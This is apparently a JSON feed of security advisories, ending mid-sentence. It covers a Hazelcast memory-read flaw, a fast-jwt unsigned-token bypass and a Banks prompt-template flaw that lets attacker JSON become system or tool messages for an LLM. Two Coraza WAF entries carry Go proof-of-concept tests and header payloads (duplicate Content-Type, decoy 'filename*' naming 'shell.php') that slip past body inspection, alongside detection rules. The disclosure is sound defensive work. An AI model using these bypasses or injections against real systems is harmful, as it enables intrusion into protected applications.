{"success":true,"data":{"threats":[{"id":"30e71dab-2101-4937-b642-1bbb86586782","slug":"cve-2026-107726","externalId":"CVE-2026-107726","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107726 — Hazelcast is a unified real-time data platform combining stream processing with a fast data store.","description":"Hazelcast is a unified real-time data platform combining stream processing with a fast data store. Prior to 5.4.5, 5.5.10, and 5.6.1, improper validation of data supplied by a malicious client able to connect to a cluster allows arbitrary reads from a cluster member's Java heap, off-heap data, and JVM process address space. The same flaw can crash cluster members and, in some Hazelcast Enterprise Edition configurations, corrupt memory with possible arbitrary code execution. Both slim and full distributions are affected. This issue is fixed in versions 5.4.5, 5.5.10, 5.6.1, and 5.7.0.","cveId":"CVE-2026-107726","cvssScore":9.3,"cvssVector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","severity":"critical","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20"],"tags":["nvd","status:received"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://docs.hazelcast.com/hazelcast/5.7/release-notes/community","type":"advisory","title":"security-advisories@github.com"},{"url":"https://docs.hazelcast.com/hazelcast/5.7/release-notes/enterprise","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/hazelcast/hazelcast/commit/361979da12f18950c24719db832ca6c5e7c0534f","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/hazelcast/hazelcast/releases/tag/v5.7.0","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/hazelcast/hazelcast/security/advisories/GHSA-6v25-8wq6-xq4j","type":"advisory","title":"security-advisories@github.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T22:17:29.120Z","addedAt":"2026-10-08T23:06:40.217Z","updatedAt":"2026-10-08T23:06:40.217Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107726","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107726","note":"authoritative record"}]},{"id":"8c4a5df4-9cf8-4918-89f8-e08af8fcb9e6","slug":"cve-2026-107720","externalId":"CVE-2026-107720","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107720 — fast-jwt provides fast JSON Web Token (JWT) implementation.","description":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.3.1, fast-jwt createVerifier accepts an unsigned JWT when key is an empty string or null and algorithms is a non-empty allowlist. Falsy synchronous keys bypass prepareKeyOrSecret, allowedAlgorithms remains active, hasKey is false, and the empty signature avoids the verifySignature gate. An attacker can therefore submit a token containing arbitrary claims without possessing a signing key, resulting in authentication or authorization bypass. Claim validators still run, and non-empty keys, an empty key without algorithms, and the async key resolver path do not have this behavior. This issue is fixed in version 6.3.1.","cveId":"CVE-2026-107720","cvssScore":7.4,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20","CWE-347"],"tags":["nvd","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/nearform/fast-jwt/commit/e22a151e83bf6d5e54e281216982d204d5665534","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/pull/649","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/releases/tag/v6.3.1","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-8wpc-h4q6-8fxv","type":"advisory","title":"security-advisories@github.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T22:17:28.090Z","addedAt":"2026-10-08T23:06:40.127Z","updatedAt":"2026-10-08T23:06:40.127Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107720","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107720","note":"authoritative record"}]},{"id":"4f90df58-77c3-482e-ae97-dd5de2356237","slug":"cve-2026-107717","externalId":"CVE-2026-107717","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107717 — Banks generates meaningful LLM prompts using a simple template language.","description":"Banks generates meaningful LLM prompts using a simple template language. Prior to 2.5.0, Banks Prompt.chat_messages() attempts to parse every line of rendered template output as ChatMessage JSON. When an application renders untrusted data and passes the returned ChatMessage objects to an LLM provider, attacker-controlled JSON can cross the prompt boundary and become a system, assistant, or tool message because ChatMessage.role accepts arbitrary strings. This can override application instructions, alter the intended prompt structure, or confuse downstream tool and message handling. This issue is fixed in version 2.5.0.","cveId":"CVE-2026-107717","cvssScore":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","severity":"medium","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-20"],"tags":["nvd","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/masci/banks/commit/02172b816fb84f6a824cc09a8aca7416f53c12cb","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/masci/banks/pull/78","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/masci/banks/releases/tag/v2.5.0","type":"advisory","title":"security-advisories@github.com"},{"url":"https://github.com/masci/banks/security/advisories/GHSA-hmq2-7hp6-7crh","type":"advisory","title":"security-advisories@github.com"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T22:17:27.560Z","addedAt":"2026-10-08T23:06:40.085Z","updatedAt":"2026-10-08T23:06:40.085Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107717","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107717","note":"authoritative record"}]},{"id":"43250143-44be-4f9a-bab7-86084a8972be","slug":"ghsa-w253-m66g-rx24","externalId":"GHSA-w253-m66g-rx24","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: URL-encoded form Content-Type parameters bypass Coraza body inspection","description":"### Summary\n\nCoraza fails to inspect URL-encoded form bodies when their valid `Content-Type` contains a media-type parameter, for example:\n\n```http\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n```\n\nAn unauthenticated attacker can use this header to hide the complete form body from custom Coraza rules that inspect `ARGS_POST` or `REQUEST_BODY`, while the bundled Go HTTP middleware forwards the body and the backend parses it normally.\n\nThis is a deterministic request-body inspection bypass. Suggested severity: **Medium**. Current OWASP CRS includes rule `901340`, which forces fallback inspection and mitigates this path; this report does not claim a bypass of an unmodified current CRS ruleset\n\n### Details\n\nThe affected component is request-body processor selection in [`internal/corazawaf/transaction.go`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L371-L390).\n\n`Transaction.AddRequestHeader` compares the complete lowercased header value using exact equality:\n\n```go\ncase \"content-type\":\n    val := strings.ToLower(value)\n    if val == \"application/x-www-form-urlencoded\" {\n        tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n    } else if strings.HasPrefix(val, \"multipart/form-data\") {\n        tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n    }\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 383-390](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L383-L390).\n\nThe media type of `application/x-www-form-urlencoded; charset=UTF-8` remains `application/x-www-form-urlencoded`; `charset` is a parameter. Because Coraza compares the entire header, the comparison fails and `REQBODY_PROCESSOR` remains empty.\n\n`ProcessRequestBody` treats the empty processor as success:\n\n```go\nrbp = strings.ToLower(rbp)\nif rbp == \"\" {\n    tx.WAF.Rules.Eval(types.PhaseRequestBody, tx)\n    return tx.interruption, nil\n}\n```\n\nSource: [`internal/corazawaf/transaction.go`, lines 1115-1120](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/corazawaf/transaction.go#L1115-L1120).\n\nCoraza therefore evaluates phase 2 without parsing the body and without setting `REQBODY_ERROR`. The [URL-encoded processor that normally populates `ARGS_POST`, `REQUEST_BODY`, and `REQUEST_BODY_LENGTH`](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/internal/bodyprocessors/urlencoded.go#L19-L33) is never invoked.\n\nThe [bundled middleware buffers and reconstructs the full request body before invoking the backend](https://github.com/corazawaf/coraza/blob/db9850b2dd8992f97a8cefe08d0cb4edd966a04c/http/middleware.go#L69-L97). The backend consequently receives data that was absent from Coraza's body variables.\n\nThe issue exists in the standard compiled implementation; no special build tag is required. Request-body access defaults to Off in an empty configuration, but Coraza's recommended configuration enables it with `SecRequestBodyAccess On`.\n\n### PoC\n\nSave this self-contained test as `parameterized_form_bypass_test.go` in the Coraza repository root:\n\n```go\npackage coraza_test\n\nimport (\n    \"net/http\"\n    \"net/http/httptest\"\n    \"strings\"\n    \"testing\"\n\n    coraza \"github.com/corazawaf/coraza/v3\"\n    corazahttp \"github.com/corazawaf/coraza/v3/http\"\n)\n\nfunc TestParameterizedFormInspectionBypass(t *testing.T) {\n    cfg := coraza.NewWAFConfig().WithDirectives(`\nSecRuleEngine On\nSecRequestBodyAccess On\nSecRule ARGS_POST:cmd \"@streq evil\" \"id:910001,phase:2,deny,status:403,t:none\"\n`)\n\n    waf, err := coraza.NewWAF(cfg)\n    if err != nil {\n        t.Fatal(err)\n    }\n\n    backendSaw := \"\"\n    handler := corazahttp.WrapHandler(waf, http.HandlerFunc(\n        func(w http.ResponseWriter, r *http.Request) {\n            if err := r.ParseForm(); err != nil {\n                t.Fatal(err)\n            }\n            backendSaw = r.PostForm.Get(\"cmd\")\n            w.WriteHeader(http.StatusNoContent)\n        },\n    ))\n\n    req := httptest.NewRequest(\n        http.MethodPost,\n        \"http://example.test/\",\n        strings.NewReader(\"cmd=evil\"),\n    )\n    req.Header.Set(\n        \"Content-Type\",\n        \"application/x-www-form-urlencoded; charset=UTF-8\",\n    )\n\n    rec := httptest.NewRecorder()\n    handler.ServeHTTP(rec, req)\n\n    if rec.Code != http.StatusNoContent {\n        t.Fatalf(\"expected request to reach backend, status=%d\", rec.Code)\n    }\n    if backendSaw != \"evil\" {\n        t.Fatalf(\"backend did not receive malicious value: %q\", backendSaw)\n    }\n}\n```\n\nRun:\n\n```bash\ngo test . -run TestParameterizedFormInspectionBypass -v\n```\n\nObserved:\n\n```text\n=== RUN   TestParameterizedFormInspectionBypass\n--- PASS: TestParameterizedFormInspectionBypass (0.00s)\nPASS\n```\n\nThe test passes only when Coraza fails to return its configured 403 response and the backend parses `cmd=evil`.\n\nAs a control, change the header to:\n\n```http\nContent-Type: application/x-www-form-urlencoded\n```\n\nCoraza then selects the URL-encoded processor, exposes `cmd=evil` as `ARGS_POST:cmd`, and returns 403 before the backend runs.\n\n### Impact\n\nThis is a parser differential and request-body inspection bypass affecting applications protected by custom Coraza rules.\n\nAn unauthenticated attacker can add `charset=UTF-8` to an ordinary form request. Coraza then runs phase-2 rules without the submitted parameters and reports no body-processing failure, while the application receives and processes those parameters.\n\nRules relying on these variables are affected on this path:\n\n- `ARGS_POST`\n- `ARGS` for POST-derived values\n- `ARGS_POST_NAMES`\n- `ARGS_NAMES`\n- `REQUEST_BODY`\n- `REQUEST_BODY_LENGTH`\n\nThis defeats custom rules intended to reject injection strings, dangerous commands, or forbidden business values in form fields. The final application impact depends on the backend behavior that the bypassed rule was intended to protect.\n\nAffected operators are those who enable request-body access and rely on automatic URL-encoded parsing without current CRS rule `901340`, `ctl:forceRequestBodyVariable=On`, an explicitly forced processor, or equivalent backend validation.\n\nThe fix is to parse Content-Type according to MIME syntax and compare the normalized media type without parameters, for example with Go's `mime.ParseMediaType`. If an expected body has no processor, Coraza should expose an explicit processing error instead of silently evaluating phase 2 with empty variables.\n\n## Follow-up (2026-09-30): duplicate Content-Type headers desynchronize processor selection from the parsed body\n\nThe original fix made body-processor selection tolerant of media-type parameters (`charset=UTF-8` etc.) by switching from exact equality to `strings.HasPrefix`. A second, distinct gap was found while reviewing that same selection code: it never accounted for a request carrying *more than one* `Content-Type` header.\n\n### Root cause\n\n`Transaction.AddRequestHeader` is called once per header by the integrator (documented contract). Its `content-type` case runs on every call:\n\n```go\ncase \"content-type\":\n    val := strings.ToLower(value)\n    if strings.HasPrefix(val, \"application/x-www-form-urlencoded\") {\n        tx.variables.reqbodyProcessor.Set(\"URLENCODED\")\n    } else if strings.HasPrefix(val, \"multipart/form-data\") {\n        tx.variables.reqbodyProcessor.Set(\"MULTIPART\")\n    }\n```\n\nA request with two `Content-Type` headers therefore has its body-processor selection silently overwritten by the *last* one, since each call unconditionally calls `Set`. Meanwhile, `ProcessRequestBody` extracts the `mimeType` it passes to whichever processor gets selected from `requestHeaders.Get(\"content-type\")[0]` -- the *first* value (`internal/corazawaf/transaction.go`, a few hundred lines below `AddRequestHeader`) -- and Go's `net/http` `Header.Get` (what a typical backend uses) also returns only the first value. So selection follows the last header while everything else follows the first, and the two can disagree entirely.\n\n### PoC\n\n```http\nContent-Type: multipart/form-data; boundary=XyZ\nContent-Type: application/x-www-form-urlencoded\n```\n\nwith a genuine multipart body containing `cmd=evil` and a `shell.php` file upload. Against commit `19b86824`:\n\n- `reqbodyProcessor` resolves to `\"URLENCODED\"` (the second, spoofed header wins).\n- The URL-encoded processor runs against the raw multipart body text, parses without error, and produces nothing.\n- `ARGS_POST:cmd`, `FILES`, and `FILES_NAMES` are all empty -- the entire payload is invisible to any rule inspecting those variables.\n- The backend (or any integrator using `Header.Get`, which reads the first value) still sees `Content-Type: multipart/form-data` and parses `cmd=evil` and the uploaded `shell.php` normally.\n\nCurrent OWASP CRS includes rule `920620` (`Content-Type` header sanity check via count/format), which catches this shape; the recommended `coraza.conf-recommended` has no equivalent, so a Coraza deployment with only custom rules (no CRS) is exposed.\n\n### Fix\n\nOnly the first `Content-Type` header may set `reqbodyProcessor`: guard the existing logic with `if tx.variables.reqbodyProcessor.Get() == \"\"`. This makes header-driven processor selection consistent with `ProcessRequestBody`'s own `mimeType` extraction and with standard `Header.Get` semantics, without a new field (nothing else can set `reqbodyProcessor` before headers finish processing; `ctl:requestBodyProcessor` and `ForceRequestBodyVariable` both run afterward, in phase 1 rule evaluation and body processing respectively, and are unaffected).\n\nAs defense in depth, a rule author can also detect the anomaly directly today, with no code change: `SecRule &REQUEST_HEADERS:Content-Type \"@gt 1\" \"deny,...\"` -- left as a suggested addition to `coraza.conf-recommended` rather than bundled into this fix, since it is a policy choice (deny vs. flag) rather than a correctness requirement.\n\n### AI involvement disclosure\n\n- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.\n- **What was generated/assisted:** the vulnerability hypothesis and repro shape were supplied by the reporter as an existing written finding; Claude Sonnet 5 independently re-derived the root cause by reading the current source, traced the `mimeType`/`Header.Get` first-value asymmetry, wrote and ran a fresh PoC against commit `19b86824` confirming the full bypass (`ARGS_POST`/`FILES`/`FILES_NAMES` all empty), verified the fix closes it, and drafted this addendum.\n- **Review performed:** reproduced by hand against a clean checkout of commit `19b86824` before and after the fix using the real `Transaction` API (`AddRequestHeader` x2, `WriteRequestBody`, `ProcessRequestBody`); confirmed the regression test fails deterministically against the pre-fix code and passes after it; ran the full test suite, the build-tag matrix (`coraza.no_memoize`, `coraza.rule.multiphase_evaluation`, `coraza.rule.no_regex_multiline`), and the `testing/coreruleset` CRS regression suite, all green; reviewed by a human maintainer (fzipi) before this addendum was submitted.\n\nFix: https://github.com/corazawaf/coraza-ghsa-w253-m66g-rx24/pull/2\n\n### Patched in 3.8.1\n\nThe 3.8.0 fix was incomplete. 3.8.1 completes it: only the first `Content-Type` header now selects the body processor (the one a typical backend reads with `Header.Get`), and leading whitespace in the media type, including Unicode whitespace that `net/http` accepts, is trimmed the way `mime.ParseMediaType` trims it. Upgrade to 3.8.1; 3.8.0 is listed as affected.\n\n\n### Severity (revised 2026-10-02)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N` (5.8, Medium).\n\nAttack Complexity is Low: every form and multipart parser accepts these Content-Type values. The previous vector used Scope Unchanged (5.3).\n\nImpact metrics follow the convention used across Coraza's WAF-bypass advisories: the vulnerable component is Coraza, but the impact lands on the protected application, so Scope is Changed. The bypass hides a payload from inspection; the application still has to be vulnerable to it, so Integrity is Low and Confidentiality is not scored separately.\n\n_AI involvement in this section: Claude Opus 5.5 (Anthropic), via Claude Code, re-derived the CVSS vector from the project's triage guidance (AGENTS.md, \"CVSS preconditions get verified, not copied from the report\") and drafted this text. A human maintainer (fzipi) chose the `S:C/I:L` impact convention and directed this update._","cveId":null,"cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","severity":"medium","vendor":"Go","product":"github.com/corazawaf/coraza/v3","affectedVersions":["pkg:golang/github.com/corazawaf/coraza/v3 >= 3.0.4, < 3.8.1"],"cwes":["CWE-20","CWE-436"],"tags":["osv","osv:ghsa-w253-m66g-rx24","ecosystem:go"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-w253-m66g-rx24","type":"advisory","title":"OSV GHSA-w253-m66g-rx24"},{"url":"https://github.com/corazawaf/coraza/security/advisories/GHSA-w253-m66g-rx24","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/3b6241ef895b089c66a59e51068a81cf40986e4d","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/a55950ffa161f33a29e14f87d926d7df3b85cc74","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza/commit/dd100261cf1d2e2b053803a50c9db28dcaaa4b7c","type":"other","title":"OSV web"},{"url":"https://github.com/corazawaf/coraza","type":"vendor","title":"OSV package"},{"url":"https://github.com/corazawaf/coraza/releases/tag/v3.8.1","type":"other","title":"OSV web"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:51:53.000Z","addedAt":"2026-10-08T18:42:41.882Z","updatedAt":"2026-10-08T18:42:41.882Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-w253-m66g-rx24"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-w253-m66g-rx24"}]},{"id":"d6764108-209b-4173-ba4b-88116d3e686c","slug":"ghsa-3wr7-993q-jrff","externalId":"GHSA-3wr7-993q-jrff","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"Coraza: Multipart filename* (RFC 5987) charset restriction lets a decoy filename bypass FILES-based rules","description":"## Summary\n\nCoraza extracts a multipart file upload's filename using Go's standard-library `mime.ParseMediaType`, which only decodes the RFC 5987/6266 extended `filename*` `Content-Disposition` parameter when its declared charset is exactly `us-ascii` or `utf-8`. Any other charset — including `iso-8859-1`, which RFC 5987 explicitly permits — is silently dropped by the stdlib, with no error and no fallback signal. This lets an attacker present one filename to Coraza and a different one to the backend application in the same request.\n\n## Affected variables\n\n`FILES` (documented as *\"the original filenames as submitted by the client in the multipart upload\"*), `FILES_SIZES`, and the file-vs-field routing decision that determines whether a part is tracked as a file at all.\n\n`MULTIPART_FILENAME` is not affected. It is declared in Coraza but is not populated by any code path in the affected versions.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`'s `originFileName` calls `mime.ParseMediaType` on the raw `Content-Disposition` header and reads `dispositionParams[\"filename\"]`, which then populates `FILES`/`FILES_SIZES` for parts recognized as file uploads. Per RFC 7578 §4.2 and RFC 6266, when both `filename` and `filename*` are present, `filename*` is authoritative. Go's `mime.ParseMediaType` implements this precedence internally (`decode2231Enc` in `mediatype.go`), but only for `filename*` values whose charset token is `us-ascii` or `utf-8`:\n\n```go\n// mime/mediatype.go\nif charset != \"us-ascii\" && charset != \"utf-8\" {\n    // TODO: unsupported encoding\n    return \"\", false\n}\n```\n\nWhen `decode2231Enc` returns `false`, the stdlib silently leaves whatever was parsed for the plain `filename` parameter untouched (or leaves `filename` absent entirely if only `filename*` was supplied) — there is no error, no partial-parse indicator, nothing a caller can detect. The stdlib also discards the RFC 5987 `language` component of `filename*` entirely; it is not recoverable from the parsed params map at all.\n\n### Verified behavior (prior to the fix)\n\n| `Content-Disposition` fields | Effective filename (`FILES`) | Recognized as file upload? |\n|---|---|---|\n| `filename=\"safe.jpg\"; filename*=UTF-8''shell.php` | `shell.php` (correct) | yes |\n| `filename=\"safe.jpg\"; filename*=iso-8859-1''shell.php` | `safe.jpg` (decoy wins) | yes, but with the wrong name |\n| `filename*=iso-8859-1''shell.php` (no plain `filename`) | *(none)* | **no** — processed as an ordinary form field into `ARGS_POST` instead |\n\nIn the second row, any rule inspecting `FILES` for a dangerous extension only ever sees `safe.jpg`, while a backend that follows RFC 7578 precedence and accepts `iso-8859-1` (an RFC-5987-legal, non-exotic charset) uses `shell.php` as the filename. In the third row, the upload skips file-specific rule scope and size-limit tracking (`FILES_COMBINED_SIZE`) entirely.\n\n## Impact\n\nA rule set that blocks file uploads by extension or name via `FILES` (or scopes rules to `FILES`/`FILES_NAMES`) can be bypassed by supplying the real filename via `filename*` under any charset other than `utf-8`/`us-ascii` — `iso-8859-1` is sufficient and is a standards-compliant choice, not an obscure or malformed one — optionally alongside an innocuous decoy `filename`. A part carrying only `filename*` additionally escapes file-vs-field routing, so `FILES`, `FILES_NAMES` and `FILES_COMBINED_SIZE` never see it.\n\nThe bypass is deterministic against Coraza and requires no authentication or user interaction. Its effect is bounded to filename-derived inspection: request body content, `ARGS` and headers are still inspected, and a part carrying only `filename*` is routed into `ARGS_POST`. Coraza itself neither stores nor serves the uploaded file, so whether an evaded rule was preventing a change of state depends on the backend's own `filename*` precedence handling and upload handling. This is scored as a scope-changing bypass with low integrity impact (`S:C`, `I:L`) rather than a direct compromise.\n\n## Proof of Concept\n\n```\nContent-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=iso-8859-1''shell.php\n```\n\nProcessed through `internal/bodyprocessors/multipart.go` prior to the fix, `FILES` for this part contained `safe.jpg`. A `SecRule FILES \"\\.php$\"` (or similar extension-blocklist rule) did not fire, while a backend honoring RFC 5987/7578 `filename*` precedence uses `shell.php` as the filename.\n\n## Resolution\n\nFixed by locating and decoding `filename*` independently of `mime.ParseMediaType`'s charset restriction (a quoted-string-aware scanner over the raw header). The fix also populates `MULTIPART_FILENAME`/`MULTIPART_NAME`, which were previously declared but unpopulated.\n\n**Both readings are exposed, not just `filename*`.** An earlier version of this fix made `filename*` unconditionally authoritative over the plain `filename`, per RFC 7578 §4.2 — this closed the PoC above but relocated the same bypass: swap which field carries the real name (`filename=\"shell.php\"; filename*=iso-8859-1''safe.jpg`) and a backend that resolves the plain `filename` instead is missed, since the discarded reading never reached `FILES` at all. Fixed in `89399e67`: when a well-formed `filename*` picks a different value than the plain `filename`, both are added to `FILES`/`FILES_SIZES`/`MULTIPART_FILENAME` for the same part (one temp file, one byte count, two names). A `SecRule FILES \"\\.php$\"` now catches the payload regardless of which field carries the real name.\n\nCoraza does not select a \"safe\" charset allowlist on the operator's behalf. Instead, `filename*`'s declared charset and language are exposed as their own rule-matchable collections, `MULTIPART_FILENAME_CHARSET` and `MULTIPART_FILENAME_LANGUAGE`, alongside `MULTIPART_FILENAME`, so operators can enforce their own allowlist. Design credit: **@airween**.\n\nFor `Content-Disposition: form-data; name=\"upload\"; filename=\"safe.jpg\"; filename*=UTF-8''shell.php`:\n\n```\nMULTIPART_FILENAME:upload          = [shell.php, safe.jpg]   (filename* first, plain filename kept alongside)\nMULTIPART_FILENAME_CHARSET:upload  = UTF-8\nMULTIPART_FILENAME_LANGUAGE:upload = \"\"           (empty string; language is optional)\n```\n\nRule writers can enforce a charset allowlist directly. Use an anchored regex\nrather than `@within`:\n\n```\nSecRule MULTIPART_FILENAME_CHARSET:upfile \"!@rx ^(?:utf-8|iso-8859-1|us-ascii)$\" \\\n    \"id:199,phase:2,t:none,t:lowercase,deny\"\n```\n\n`!@within utf-8,iso-8859-1,us-ascii` looks equivalent and is not. `@within`\ntreats its parameter as the haystack and the variable as the needle, so an\nempty value is trivially contained in it and the negation never fires. A\n`filename*` that declares no charset at all — `filename*=''shell.php`, which\nRFC 5987's grammar does not permit but which Coraza accepts and exposes rather\nthan rejecting — therefore passes an `@within` allowlist untouched. Measured:\n\n| `MULTIPART_FILENAME_CHARSET` | `!@within utf-8,...` | `!@rx ^(?:utf-8\\|...)$` |\n|---|---|---|\n| `UTF-8` | quiet | quiet |\n| `shift_jis` | fires | fires |\n| *(empty, from* `filename*=''...`*)* | **quiet** | fires |\n\nBoth spellings stay quiet on a part with no `filename*` at all, because the\ncollections are then absent rather than empty and the rule never evaluates.\nThat is what makes an allowlist rule safe to apply to all traffic rather than\nonly to known upload fields.\n\n### Discrepancies are no longer dropped silently\n\nThe same silent-fallback pattern this advisory describes existed on two neighbouring paths: a part whose `Content-Disposition` was present but unparseable, and a part carrying a `filename*` that did not match the `charset'[language]'value` shape at all. Both were reduced to a part with no filename — routed into `ARGS_POST`, outside `FILES`-scoped rule coverage, with nothing to signal that a filename had been discarded.\n\nBoth now raise `MULTIPART_STRICT_ERROR` (rule 200003 in CRS). A part with *no* `Content-Disposition` at all is not flagged: it simply carries no filename. `mime.ParseMediaType` accepts every real-world filename shape tested — raw UTF-8 and emoji, spaces, Windows backslashes, a bare `%`, unquoted values — so this signal does not reach legitimate uploads.\n\n### New variable: `MULTIPART_DUPLICATE_PART_HEADER`\n\nSet to `1` when a part repeats a header (two `Content-Disposition` headers) or repeats a parameter inside its `Content-Disposition` (two `filename` parameters). A duplicate is precisely where backends disagree about which value wins, so the duplicate itself is the signal; it also contributes to `MULTIPART_STRICT_ERROR`.\n\n```\nSecRule MULTIPART_STRICT_ERROR \"@eq 1\" \"id:201,phase:2,deny,t:none,chain\"\n  SecRule MULTIPART_DUPLICATE_PART_HEADER \"@eq 1\"\n```\n\nModSecurity adds the same variable in its fix for [GHSA-5pww-8rfg-9crf](https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-5pww-8rfg-9crf) and lists it in the recommended audit-log format as `DH`. Coraza implements it under the same name so that a rule set referencing it parses on both engines.\n\n### Note on percent-decoding\n\nCoraza percent-decodes the `filename*` value, so `MULTIPART_FILENAME` and `FILES` hold the name the application will actually resolve. This matters for rules that match on file extension: CRS 933110 and 944140 target `FILES` with `t:none,t:lowercase,t:removeWhitespace` and perform no URL decoding, so an encoded separator such as `filename*=UTF-8''shell%2Ephp` would evade them if the raw value were stored instead. ModSecurity's fix stored the raw, still-encoded value when this was first written; after the difference was raised on its advisory it now percent-decodes as well, so the two engines agree on this point.\n\n### Three further discrepancies found in post-fix review\n\nReviewing the fix (`23446b5e`) against test coverage turned up three more cases where Coraza's parsed value could disagree with what a backend resolves, closed in `f30df398`:\n\n- An unresolvable `%` escape in `filename*` (`filename*=UTF-8''safe.jpg%ZZ`) is still kept as-is rather than substituting a decoy plain `filename`, but now also raises `MULTIPART_STRICT_ERROR`. Without this, the discrepancy was silent whenever a backend decoded the same escape differently or rejected it outright.\n- A quoted `filename*` value (`filename*=\"UTF-8''shell.php\"`) is unwrapped before parsing. RFC 5987 does not permit `filename*` to be a quoted-string, but a general Content-Disposition parser such as Go's `mime.ParseMediaType` accepts a quoted value for any parameter. Without unwrapping, the literal quote characters ended up in `MULTIPART_FILENAME`/`MULTIPART_FILENAME_CHARSET`, so an anchored rule (e.g. `\\.php$`) did not match a filename the backend resolved cleanly.\n- `MULTIPART_FILENAME`, `MULTIPART_FILENAME_CHARSET`, `MULTIPART_FILENAME_LANGUAGE` and `MULTIPART_NAME` are multi-valued collections: two parts sharing one `name` (e.g. a multi-file upload field) each keep their own filename instead of the later part overwriting the earlier one. ModSecurity's fix for [GHSA-5pww-8rfg-9crf](https://github.com/owasp-modsecurity/ModSecurity/security/advisories/GHSA-5pww-8rfg-9crf) independently identifies and fixes the same class of bug, describing it as \"a second, distinct bypass,\" by keeping the equivalent variables multi-valued.\n\n### The precedence decision itself was found to relocate the bypass\n\nReviewing `filename*`-as-authoritative, @jptosso demonstrated (with a repro against Go's own `mime/multipart` as the reference backend) that this precedence choice doesn't close the two-sided decoy: it only decides which of the two payload shapes above is caught, not both. Checked against ModSecurity v3's actual fix for GHSA-5pww-8rfg-9crf: it makes the identical unconditional-precedence choice (single value, `filename*` wins, plain `filename` discarded), with no record of the two-sided case being considered there either — this is not a case of Coraza deviating from a more careful upstream fix.\n\nFixed in `89399e67` by keeping both readings rather than picking one (see Resolution above). Test coverage for the original PoC direction only ever exercised the 